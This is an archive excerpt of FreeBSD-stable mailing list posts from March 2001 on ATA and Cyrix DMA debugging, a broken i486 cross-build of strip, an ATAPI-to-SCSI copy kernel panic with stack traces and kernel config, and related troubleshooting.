#HAVE_MOTIF=3D yes #MOTIF_STATIC=3D yes # # If the default location of the Motif library (specified below) is NOT # appropriate for you, uncomment this and change it to the correct value. # If your motif is in ${X11BASE}/lib, you don't need to touch this line. # #MOTIFLIB=3D -L${X11BASE}/lib -lXm # # # If you're resident in the USA, this will help various ports to determine # whether or not they should attempt to comply with the various U.S. # export regulations on certain types of software which do not apply to # anyone else in the world. # #USA_RESIDENT=3D YES # # Next one will help ports developers to debug # #FORCE_PKG_REGISTER=3D YES # # # Port master sites. # # If you want your port fetches to go somewhere else than the default # (specified below) in case the distfile/patchfile was not found, # uncomment this and change it to a location nearest you. (Don't # remove the "/${DIST_SUBDIR}/" part.) # #MASTER_SITE_BACKUP?=3D \ # ftp://ftp.freebsd.org/pub/FreeBSD/ports/distfiles/${DIST_SUBDIR}/ # # If you want your port fetches to check the above site first (before # the MASTER_SITES specified in the port Makefiles), uncomment the # line below. You can also change the right side to point to wherever=20 # you want. # #MASTER_SITE_OVERRIDE?=3D ${MASTER_SITE_BACKUP} # # Some ports use a special variable to point to a collection of # mirrors of well-known software archives. If you have a mirror close # to you, uncomment any of the following lines and change it to that # address. (Don't remove the "/%SUBDIR%/" part.) # # Note: the right hand sides of the following lines are only for your # information. For a full list of default sites, take a look at # bsd.port.mk. # #MASTER_SITE_XCONTRIB=3D ftp://ftp.x.org/contrib/%SUBDIR%/ #MASTER_SITE_GNU=3D ftp://prep.ai.mit.edu/pub/gnu/%SUBDIR%/ #MASTER_SITE_PERL_CPAN=3D ftp://ftp.digital.com/pub/plan/perl/CPAN/modules/= by-module/%SUBDIR%/ #MASTER_SITE_TEX_CTAN=3D ftp://ftp.tex.ac.uk/tex-archive/%SUBDIR%/ #MASTER_SITE_SUNSITE=3D ftp://metalab.unc.edu/pub/Linux/%SUBDIR%/ #MASTER_SITE_KDE=3D ftp://ftp.kde.org/pub/kde/%SUBDIR%/ #MASTER_SITE_COMP_SOURCES=3D ftp://gatekeeper.dec.com/pub/usenet/comp.sourc= es.%SUBDIR%/ #MASTER_SITE_GNOME=3D ftp://ftp.gnome.org/pub/GNOME/sources/%SUBDIR%/ #MASTER_SITE_AFTERSTEP=3D ftp://ftp.afterstep.org/%SUBDIR%/ #MASTER_SITE_WINDOWMAKER=3D ftp://ftp.windowmaker.org/pub/%SUBDIR%/ # # # Kerberos IV # If you want KerberosIV (KTH eBones), define this: # MAKE_KERBEROS4=3D yes # # # Kerberos 5 # If you want KerberosIV (KTH Heimdal), define this: # ** WARNING ** # ** WARNING ** This is very experimental at this stage. If you # ** WARNING ** need stable Kerberos5, rather use the port(s). # ** WARNING ** # #MAKE_KERBEROS5=3D yes # # # Kerberos5 # If you want to install MIT Kerberos5 port somewhere other than /usr/local, # define this (this is also used to tell ssh1 that kerberos is needed): # #KRB5_HOME=3D /usr/local # # # CVSup update flags. Edit SUPFILE settings to reflect whichever distribut= ion # file(s) you use on your site (see /usr/share/examples/cvsup/README for mo= re # information on CVSup and these files). To use, do "make update" in /usr/= src. # SUP_UPDATE=3D yes # SUP=3D /usr/local/bin/cvsup SUPFLAGS=3D -g -L 2 SUPHOST=3D cvsup9.FreeBSD.org SUPFILE=3D /home/ler/kernel.supfile PORTSSUPFILE=3D /home/ler/ports.supfile DOCSUPFILE=3D /home/ler/doc.supfile #SENDMAIL_CF=3D lerbsd.cf SENDMAIL_MC=3D lerbsd.mc #SUPFILE1=3D /usr/share/examples/cvsup/secure-supfile #PORTSSUPFILE=3D /usr/share/examples/cvsup/ports-supfile #DOCSUPFILE=3D /usr/share/examples/cvsup/doc-supfile # # top(1) uses a hash table for the user names. The size of this hash # can be tuned to match the number of local users. The table size should # be a prime number approximately twice as large as the number of lines in # /etc/passwd. The default number is 20011. # #TOP_TABLE_SIZE=3D 101 # # Documentation # # The list of languages and encodings to build and install # #DOC_LANG=3D en_US.ISO_8859-1 ru_RU.KOI8-R # # # sendmail # Setting the following variables modifes the build environment for # sendmail and its related utilities. For example, SASL support can be # added with settings such as: # # SENDMAIL_CFLAGS=3D-I/usr/local/include -DSASL # SENDMAIL_LDFLAGS=3D-L/usr/local/lib # SENDMAIL_LDADD=3D-lsasl # #SENDMAIL_CFLAGS=3D #SENDMAIL_LDFLAGS=3D #SENDMAIL_LDADD=3D #SENDMAIL_DPADD=3D To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:48:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns.altadena.net (ns.altadena.net [206.126.144.2]) by hub.freebsd.org (Postfix) with ESMTP id 16D7237B71B for ; Sun, 11 Mar 2001 17:48:51 -0800 (PST) (envelope-from pete@ns.altadena.net) Received: (from pete@localhost) by ns.altadena.net (8.11.2/8.8.8) id f2C1mfj65156 for stable@freebsd.org; Sun, 11 Mar 2001 17:48:41 -0800 (PST) (envelope-from pete) From: Pete Carah Message-Id: <200103120148.f2C1mfj65156@ns.altadena.net> Subject: Re: ATA oddness To: stable@freebsd.org Date: Sun, 11 Mar 2001 17:48:41 -0800 (PST) X-Mailer: ELM [version 2.4ME+ PL68 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=iso8859-1 Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hopefully sos reads this list? Following up my own note - I see the following in the code, none of which came out in my verbose dmesg: .... if (bootverbose) ata_printf(scp, device, "%s setting UDMA2 on Cyrix chip\n", (error) ? "failed" : "success"); .... if (bootverbose) ata_printf(scp, device, "%s setting WDMA2 on Cyrix chip\n", (error) ? "failed" : "success"); .... if (bootverbose) ata_printf(scp, device, "%s setting %s on Cyrix chip\n", (error) ? "failed" : "success", ata_mode2str(ata_pio2mode(apiomode))); That implies that either: 1. the device type didn't get preserved between the initial probe where it shows up, and the drive probes where the device type is apparently missed. 2. ata_dmainit() didn't get called at all, or the 3 integer args were not the same as those printed in the verbose output... AFAIK this drive is only a udma2 device but may be 4; the controller is certainly only udma2. -- Pete To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:51:56 2001 Delivered-To: freebsd-stable@freebsd.org Received: from obsecurity.dyndns.org (adsl-63-207-60-158.dsl.lsan03.pacbell.net [63.207.60.158]) by hub.freebsd.org (Postfix) with ESMTP id 8DF1037B718; Sun, 11 Mar 2001 17:51:50 -0800 (PST) (envelope-from kris@obsecurity.org) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 89CB666B9F; Sun, 11 Mar 2001 17:51:49 -0800 (PST) Date: Sun, 11 Mar 2001 17:51:48 -0800 From: Kris Kennaway To: Larry Rosenman Cc: Kris Kennaway , stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311175148.A82406@mollari.cthul.hu> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="VS++wcV0S1rZb1Fb" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010311193126.A6166@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 07:31:26PM -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --VS++wcV0S1rZb1Fb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Sun, Mar 11, 2001 at 07:31:26PM -0600, Larry Rosenman wrote: > * Kris Kennaway [010311 17:00]: > > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > > If I make buildworld with CPUTYPE=3Di486 (on my P-III), and then=20 > > > make installworld on the 486 target, we get a signal 4 in > > > the first install of code, in strip.=20 > >=20 > > Odd. That suggests that gcc is outputting code which can't run on the > > i486 because it uses an illegal instruction. > >=20 > > #define SIGILL 4 /* illegal instr. (not reset when caugh= t) */ > >=20 > > Does anyone else have 486 build reports with CPUTYPE, positive or negat= ive? > > even without CPUTYPE I'm getting the same thing.=20 Well, that says it's not CPUTYPE at fault..that's good. Can you run strip outside of installworld? Perhaps it was already replaced with e.g. a pentium-optimized version by something else. Kris --VS++wcV0S1rZb1Fb Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.4 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE6rCu0Wry0BWjoQKURAgSyAKDudnzblQVRsU8UV8FxsRnkTa0kewCeMvY9 tQArxn3YbrUK8hrzQPu9Oog= =ypS5 -----END PGP SIGNATURE----- --VS++wcV0S1rZb1Fb-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:58: 2 2001 Delivered-To: freebsd-stable@freebsd.org Received: from wall.polstra.com (rtrwan160.accessone.com [206.213.115.74]) by hub.freebsd.org (Postfix) with ESMTP id AFC7237B719; Sun, 11 Mar 2001 17:57:50 -0800 (PST) (envelope-from jdp@polstra.com) Received: from vashon.polstra.com (vashon.polstra.com [206.213.73.13]) by wall.polstra.com (8.11.1/8.11.1) with ESMTP id f2C1vnV82716; Sun, 11 Mar 2001 17:57:49 -0800 (PST) (envelope-from jdp@polstra.com) Message-ID: X-Mailer: XFMail 1.3 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Sun, 11 Mar 2001 17:57:49 -0800 (PST) Organization: Polstra & Co., Inc. From: John Polstra To: stable@freebsd.org Subject: Repeatable panic copying ATAPI audio CD to SCSI disk Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG With a 4.3-BETA kernel from today (and also with one from a month or two ago) I can easily induce a panic by trying to copy an audio CD from an ATAPI drive to a SCSI disk on an ahc controller using this command: dd if=/dev/acd0c of=image1 bs=23520 I have no idea if this is a reasonable way to copy the image. I never tried it before today. It shouldn't cause a panic, of course. Using remote kgdb I got a stack trace: Program received signal SIGTRAP, Trace/breakpoint trap. Debugger (msg=0xc02c60a3 "panic") at ../../i386/i386/db_interface.c:319 319 in_Debugger = 0; (kgdb) where #0 Debugger (msg=0xc02c60a3 "panic") at ../../i386/i386/db_interface.c:319 #1 0xc016eb7c in panic (fmt=0xc02bf2ea "for safety") at ../../kern/kern_shutdown.c:554 #2 0xc013e6d4 in ahc_handle_seqint (ahc=0xc0ec8800, intstat=113) at ../../dev/aic7xxx/aic7xxx.c:407 #3 0xc0148edd in ahc_platform_intr (arg=0xc0ec8800) at ../../dev/aic7xxx/aic7xxx_inline.h:472 #4 0xc02ab8c5 in intr_mux (arg=0xc072b760) at ../../i386/isa/intr_machdep.c:582 #5 0xc0282226 in atapi_read (request=0xc0ffcd00, length=23520) at machine/cpufunc.h:222 #6 0xc0281cc7 in atapi_interrupt (request=0xc0ffcd00) at ../../dev/ata/atapi-all.c:385 #7 0xc027b7e6 in ata_intr (data=0xc0ebed80) at ../../dev/ata/ata-all.c:1150 The panics always involve the ahc device interrupting in the middle of an ata interrupt. (Is that even supposed to happen, ever?) The console prints this (copied by hand): ahc1:A:2: ahc_intr - referenced scb not valid during seqint 0x71 scb(0) ahc1: Dumping Card State at SEQADDR 0x18f SCB count = 20 Kernel NEXTQSCB = 14 Card NEXTQSCB = 14 QINFIFO entries: 0 Waiting Queue entries: Disconnected Queue entries: 5:14 QOUTFIFO entries: Sequencer Free SCB List: 2 0 1 3 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 Pending list: Kernel Free SCB list: 0 16 19 17 7 18 15 1 2 3 4 5 6 8 9 13 12 11 10 panic: for safety Debugger("panic") The ATAPI drive is a Plextor 1610A CD-RW, and I am running it in PIO mode. It also panics the same way in DMA mode. The destination filesystem has soft-updates turned on. I have never seen any problems with this machine's SCSI subsystem. The dmesg output and kernel config file are at the end of this mail. John -- John Polstra jdp@polstra.com John D. Polstra & Co., Inc. Seattle, Washington USA "Disappointment is a good sign of basic intelligence." -- Chögyam Trungpa Copyright (c) 1992-2001 The FreeBSD Project. Copyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994 The Regents of the University of California. All rights reserved. FreeBSD 4.3-BETA #6: Sun Mar 11 17:14:38 PST 2001 jdp@vashon.polstra.com:/c/src/sys/compile/VASHON Timecounter "i8254" frequency 1193041 Hz Timecounter "TSC" frequency 400861711 Hz CPU: Pentium II/Pentium II Xeon/Celeron (400.86-MHz 686-class CPU) Origin = "GenuineIntel" Id = 0x651 Stepping = 1 Features=0x183fbff real memory = 134217728 (131072K bytes) sio1: gdb debugging port avail memory = 126648320 (123680K bytes) Preloaded elf kernel "kernel.new" at 0xc03cb000. Pentium Pro MTRR support enabled npx0: on motherboard npx0: INT 16 interface pcib0: on motherboard pci0: on pcib0 pcib1: at device 1.0 on pci0 pci1: on pcib1 pci1: at 0.0 irq 0 isab0: at device 7.0 on pci0 isa0: on isab0 atapci0: port 0xffa0-0xffaf at device 7.1 on pci0 ata0: at 0x1f0 irq 14 on atapci0 pci0: at 7.2 chip1: port 0x440-0x44f at device 7.3 on pci0 pcib2: at device 16.0 on pci0 pci2: on pcib2 fxp0: port 0xef40-0xef5f mem 0xfea00000-0xfeafffff,0xfd0ff000-0xfd0fffff irq 11 at device 17. 0 on pci0 fxp0: Ethernet address 00:e0:81:10:09:c2 ahc0: port 0xe400-0xe4ff mem 0xfebfe000-0xfebfefff irq 10 at device 18.0 on pci0 aic7895C: Wide Channel A, SCSI Id=7, 32/255 SCBs ahc1: port 0xe800-0xe8ff mem 0xfebff000-0xfebfffff irq 10 at device 18.1 on pci0 aic7895C: Wide Channel B, SCSI Id=7, 32/255 SCBs fxp1: port 0xef80-0xef9f mem 0xfe800000-0xfe8fffff,0xfd0fe000-0xfd0fefff irq 9 at device 20.0 on pci0 fxp1: Ethernet address 00:a0:c9:b0:13:df atkbdc0: at port 0x60,0x64 on isa0 atkbd0: flags 0x1 irq 1 on atkbdc0 psm0: irq 12 on atkbdc0 psm0: model Generic PS/2 mouse, device ID 0 vga0: at port 0x3c0-0x3df iomem 0xa0000-0xbffff on isa0 sc0: at flags 0x100 on isa0 sc0: VGA <16 virtual consoles, flags=0x300> fdc0: at port 0x3f0-0x3f5,0x3f7 irq 6 drq 2 on isa0 fdc0: FIFO enabled, 8 bytes threshold fd0: <1440-KB 3.5" drive> on fdc0 drive 0 sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0 sio0: type 16550A sio1 at port 0x2f8-0x2ff irq 3 flags 0x80 on isa0 sio1: type 16550A ppc0: at port 0x378-0x37f irq 7 on isa0 ppc0: Generic chipset (EPP/NIBBLE) in COMPATIBLE mode plip0: on ppbus0 sbc0: at port 0x220-0x22f,0x330-0x331,0x388-0x38b irq 5 drq 1,3 on isa0 pcm1: on sbc0 IPsec: Initialized Security Association Processing. acd0: CD-RW at ata0-master using PIO4 Waiting 2 seconds for SCSI devices to settle Mounting root from ufs:/dev/da0s1a da1 at ahc0 bus 0 target 1 lun 0 da1: Fixed Direct Access SCSI-3 device da1: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da1: 8748MB (17916240 512 byte sectors: 255H 63S/T 1115C) da2 at ahc1 bus 0 target 2 lun 0 da2: Fixed Direct Access SCSI-2 device da2: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da2: 4357MB (8925000 512 byte sectors: 255H 63S/T 555C) da0 at ahc0 bus 0 target 0 lun 0 da0: Fixed Direct Access SCSI-2 device da0: 40.000MB/s transfers (20.000MHz, offset 8, 16bit), Tagged Queueing Enabled da0: 4357MB (8925000 512 byte sectors: 255H 63S/T 555C) WARNING: / was not properly dismounted # # VASHON config file. # machine i386 cpu I686_CPU ident VASHON maxusers 128 options CLK_USE_I8254_CALIBRATION options CLK_USE_TSC_CALIBRATION options COMPAT_43 options USER_LDT # used by WINE options SYSVSHM options SYSVSEM options SYSVMSG options DDB # options DDB_UNATTENDED options KTRACE #kernel tracing options UCONSOLE options INET #Internet communications protocols options INET6 #IPv6 options USERCONFIG #boot -c editor options VISUAL_USERCONFIG #visual boot -c editor pseudo-device bpf #Berkeley packet filter pseudo-device ether #Generic Ethernet pseudo-device loop #Network loopback device pseudo-device pty #Pseudo ttys - can go as high as 256 pseudo-device snp 3 #Snoop device - to look at pty/vty/etc. pseudo-device tun #Tunnel driver (user process ppp) pseudo-device vn #Turns a file into a device options IPSEC options IPSEC_ESP pseudo-device gif 4 options FFS #Fast filesystem options FFS_ROOT options SOFTUPDATES options MFS #Memory filesystem options NFS #Network File System options CD9660 #ISO 9660 filesystem options EXT2FS options MSDOSFS #MS DOS File System options PROCFS #Process filesystem options NSWAPDEV=4 # For ntpd: options P1003_1B options _KPOSIX_PRIORITY_SCHEDULING device pci device fxp device ahc options AHC_ALLOW_MEMIO #Memory-mapped I/O device ahc0 device ahc1 device scbus0 at ahc0 #base SCSI code device scbus1 at ahc1 #base SCSI code device da device da0 at scbus0 target 0 unit 0 #SCSI disks device da1 at scbus0 target 1 unit 0 #SCSI disks device da2 at scbus1 target 2 unit 0 #SCSI disks device sa #SCSI tapes device cd #SCSI CD-ROMs device pass #SCSI pass-thru device device isa options AUTO_EOI_1 # Keyboard, mouse, display. device atkbdc0 at isa? port IO_KBD device atkbd0 at atkbdc? irq 1 flags 0x1 device psm0 at atkbdc? irq 12 device vga0 at isa? device sc0 at isa? flags 0x100 pseudo-device splash device npx0 at nexus? port IO_NPX irq 13 device ata # PCI device device ata0 at isa? port IO_WD1 irq 14 device ata1 at isa? port IO_WD2 irq 15 device atadisk device atapicd #options ATA_ENABLE_ATAPI_DMA device fdc0 at isa? port IO_FD1 irq 6 drq 2 device fd0 at fdc0 drive 0 device sio0 at isa? port IO_COM1 flags 0x10 irq 4 device sio1 at isa? port IO_COM2 flags 0x80 irq 3 device ppc0 at isa? irq 7 device ppbus device plip # Luigi's sound driver device pcm0 at isa? port? irq 10 drq 1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 17:58:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 71C5937B718; Sun, 11 Mar 2001 17:58:46 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2C1whu07659; Sun, 11 Mar 2001 19:58:43 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 19:58:43 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311195843.A7539@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.16i In-Reply-To: <20010311175148.A82406@mollari.cthul.hu>; from kris@obsecurity.org on Sun, Mar 11, 2001 at 05:51:48PM -0800 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Kris Kennaway [010311 19:52]: > On Sun, Mar 11, 2001 at 07:31:26PM -0600, Larry Rosenman wrote: > > * Kris Kennaway [010311 17:00]: > > > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > > > If I make buildworld with CPUTYPE=i486 (on my P-III), and then > > > > make installworld on the 486 target, we get a signal 4 in > > > > the first install of code, in strip. > > > > > > Odd. That suggests that gcc is outputting code which can't run on the > > > i486 because it uses an illegal instruction. > > > > > > #define SIGILL 4 /* illegal instr. (not reset when caught) */ > > > > > > Does anyone else have 486 build reports with CPUTYPE, positive or negative? > > > > even without CPUTYPE I'm getting the same thing. > > Well, that says it's not CPUTYPE at fault..that's good. Can you run > strip outside of installworld? Perhaps it was already replaced with > e.g. a pentium-optimized version by something else. It works fine, as does the install from the /tmp/install.$$ directory. SO, where to now? > > Kris -- Larry Rosenman http://www.lerctr.org/~ler Phone: +1 972-414-9812 E-Mail: ler@lerctr.org US Mail: 1905 Steamboat Springs Drive, Garland, TX 75044-6749 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 18:15: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from idiom.com (idiom.com [216.240.32.1]) by hub.freebsd.org (Postfix) with ESMTP id 4270D37B719 for ; Sun, 11 Mar 2001 18:15:03 -0800 (PST) (envelope-from rdm@idiom.com) Received: (from rdm@localhost) by idiom.com (8.9.3/8.9.3) id SAA86150 for stable@FreeBSD.ORG; Sun, 11 Mar 2001 18:15:03 -0800 (PST) Date: Sun, 11 Mar 2001 18:15:03 -0800 (PST) From: Rich Morin Message-Id: <200103120215.SAA86150@idiom.com> To: stable@FreeBSD.ORG Subject: Re: /var/run/dev.db ? Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I just upgraded to 4.3-BETA, and at boot got a warning about > "/var/run/dev.db: No such file or directory" when I rebooted. > It now exists, and is a berkeley db file. > > Could someone tell me what this file is, and what creates it? The FreeBSD Browser (http://www.cfcl.com/Meta/md_fb.html) is intended to answer exactly that sort of question. And, amazingly enough, it has an answer in this case: http://www.cfcl.com/md/fb/42/var/run/dev.db -r To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 18:33: 3 2001 Delivered-To: freebsd-stable@freebsd.org Received: from sdmail0.sd.bmarts.com (sdmail0.sd.bmarts.com [209.247.77.155]) by hub.freebsd.org (Postfix) with ESMTP id 0C1CD37B71A for ; Sun, 11 Mar 2001 18:33:00 -0800 (PST) (envelope-from gordont@bluemtn.net) Received: from localhost (gordont@localhost) by sdmail0.sd.bmarts.com (8.11.3/8.11.2/BMA1.1) with ESMTP id f2C2VgL56574; Sun, 11 Mar 2001 18:31:42 -0800 (PST) Date: Sun, 11 Mar 2001 18:31:42 -0800 (PST) From: Gordon Tetlow X-X-Sender: To: "Jeffrey J. Lee" Cc: Subject: Re: strange pcm0 errors In-Reply-To: <01031115114000.57156@jefflee.cnd.gatech.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 11 Mar 2001, Jeffrey J. Lee wrote: > This may be a little off topic, but I think that it has something to do with > the kernel. After building and installing kde2 on my 4.3-beta system, I > configured my soundcard using settings that worked great on 4.2-stable of > late February under kde1.?. but after this new upgrade, I run kde for a > while then exit using ctrl-alt-bkspc, and I see the following errors occured > while kde was running: > pcm0: record overrun, dumping 178112 bytes Don't use ctrl-alt-bkspace unless your X is totally hung. > this is scattered throughout the usual output with maybe some different > amounts that it dumped. > > What could be going on with this? Were you doing anything with the soundcard when you crashed X? If so, that's your reason. -gordon To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 18:35: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from ns1.unixathome.org (ns1.unixathome.org [203.79.82.27]) by hub.freebsd.org (Postfix) with ESMTP id 2CC9037B719 for ; Sun, 11 Mar 2001 18:34:57 -0800 (PST) (envelope-from dan@langille.org) Received: from wocker (wocker.int.nz.freebsd.org [192.168.0.99]) by ns1.unixathome.org (8.11.1/8.11.1) with ESMTP id f2C2Ypw12869; Mon, 12 Mar 2001 15:34:51 +1300 (NZDT) (envelope-from dan@langille.org) Message-Id: <200103120234.f2C2Ypw12869@ns1.unixathome.org> From: "Dan Langille" Organization: novice in training To: Rich Morin Date: Mon, 12 Mar 2001 15:34:49 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: /var/run/dev.db ? Reply-To: dan@langille.org Cc: stable@freebsd.org In-reply-to: <200103120215.SAA86150@idiom.com> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Mar 2001, at 18:15, Rich Morin wrote: > > > I just upgraded to 4.3-BETA, and at boot got a warning about > > "/var/run/dev.db: No such file or directory" when I rebooted. > > It now exists, and is a berkeley db file. > > > > Could someone tell me what this file is, and what creates it? > > The FreeBSD Browser (http://www.cfcl.com/Meta/md_fb.html) is intended > to answer exactly that sort of question. And, amazingly enough, it > has an answer in this case: > > http://www.cfcl.com/md/fb/42/var/run/dev.db Thanks for that. I knew about the FreeBSD Browser, but this was the first practical example I'd seen for it. I now have a greater appreciation of what this application will do. I can certainly see how it will be useful. Thanks. -- Dan Langille pgpkey - finger dan@unixathome.org | http://unixathome.org/finger.php got any work? I'm looking for some. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Sun Mar 11 18:40:14 2001 Delivered-To: freebsd-stable@freebsd.org Received: from lerami.lerctr.org (lerami.lerctr.org [207.158.72.11]) by hub.freebsd.org (Postfix) with ESMTP id 237DE37B718; Sun, 11 Mar 2001 18:40:07 -0800 (PST) (envelope-from ler@lerctr.org) Received: (from ler@localhost) by lerami.lerctr.org (8.11.3/8.11.3/20010112/$Revision: 1.13 $) id f2C2e1l09729; Sun, 11 Mar 2001 20:40:01 -0600 (CST) (envelope-from ler) Date: Sun, 11 Mar 2001 20:40:00 -0600 From: Larry Rosenman To: Kris Kennaway Cc: stable@FreeBSD.ORG, qa@FreeBSD.ORG Subject: Re: cputype=486 Message-ID: <20010311204000.A9671@lerami.lerctr.org> References: <20010311120241.A15202@lerami.lerctr.org> <20010311145945.C66872@mollari.cthul.hu> <20010311193126.A6166@lerami.lerctr.org> <20010311175148.A82406@mollari.cthul.hu> <20010311195843.A7539@lerami.lerctr.org> <20010311201658.A8487@lerami.lerctr.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable User-Agent: Mutt/1.3.16i In-Reply-To: <20010311201658.A8487@lerami.lerctr.org>; from ler@lerctr.org on Sun, Mar 11, 2001 at 08:16:58PM -0600 X-Mailer: Mutt http://www.mutt.org/ Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Larry Rosenman [010311 20:16]: > * Larry Rosenman [010311 20:00]: > > * Kris Kennaway [010311 19:52]: > > > On Sun, Mar 11, 2001 at 07:31:26PM -0600, Larry Rosenman wrote: > > > > * Kris Kennaway [010311 17:00]: > > > > > On Sun, Mar 11, 2001 at 12:02:41PM -0600, Larry Rosenman wrote: > > > > > > If I make buildworld with CPUTYPE=3Di486 (on my P-III), and the= n=20 > > > > > > make installworld on the 486 target, we get a signal 4 in > > > > > > the first install of code, in strip.=20 > > > > >=20 > > > > > Odd. That suggests that gcc is outputting code which can't run o= n the > > > > > i486 because it uses an illegal instruction. > > > > >=20 > > > > > #define SIGILL 4 /* illegal instr. (not reset when= caught) */ > > > > >=20 > > > > > Does anyone else have 486 build reports with CPUTYPE, positive or= negative? > > > > > > > > even without CPUTYPE I'm getting the same thing.=20 > > >=20 > > > Well, that says it's not CPUTYPE at fault..that's good. Can you run > > > strip outside of installworld? Perhaps it was already replaced with > > > e.g. a pentium-optimized version by something else. > > It works fine, as does the install from the /tmp/install.$$ directory. > >=20 > > SO, where to now?=20 >=20 > OK, the ****NEWLY BUILT**** strip does *NOT* work on the 486.... >=20 >=20 > Script started on Sun Mar 11 20:10:54 2001 > $ pwd=0D=0D > /usr/obj/usr/src/i386/usr/libexec/elf=0D > $ ls -l strui=08 =08=08 =08ip=0D=0D > -rwxr-xr-x 1 root wheel 430232 Mar 11 12:14 strip=0D > $ ./strip=0D=0D > Illegal instruction =0D > $ ^D=0D=0D >=20 > Script done on Sun Mar 11 20:11:09 2001 >=20 > So, it appears CURRENT sources don't make a valid i486 executable. >=20 > attached is the make buildworld output. Here is a quick gdb... Script started on Sun Mar 11 20:38:03 2001 fw# gdb -c strip.core /usr/obj/usr/src/i386/usr/bin/strip=0D=0D GNU gdb 4.18=0D Copyright 1998 Free Software Foundation, Inc.=0D GDB is free software, covered by the GNU General Public License, and you ar= e=0D welcome to change it and/or distribute copies of it under certain condition= s.=0D Type "show copying" to see the conditions.=0D There is absolutely no warranty for GDB. Type "show warranty" for details.= =0D This GDB was configured as "i386-unknown-freebsd"...=0D (no debugging symbols found)...=0D Core was generated by `strip'.=0D Program terminated with signal 4, Illegal instruction.=0D #0 0x804ef9b in __swhatbuf ()=0D (gdb) where=0D #0 0x804ef9b in __swhatbuf ()=0D #1 0x804eea2 in __smakebuf ()=0D #2 0x80497a3 in __srefill ()=0D #3 0x8049401 in fgets ()=0D #4 0x804862c in getobjformat ()=0D #5 0x80481f3 in main ()=0D #6 0x8048135 in _start ()=0D (gdb) fw# ^D=08=08exit=0D Script done on Sun Mar 11 20:38:49 2001 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From 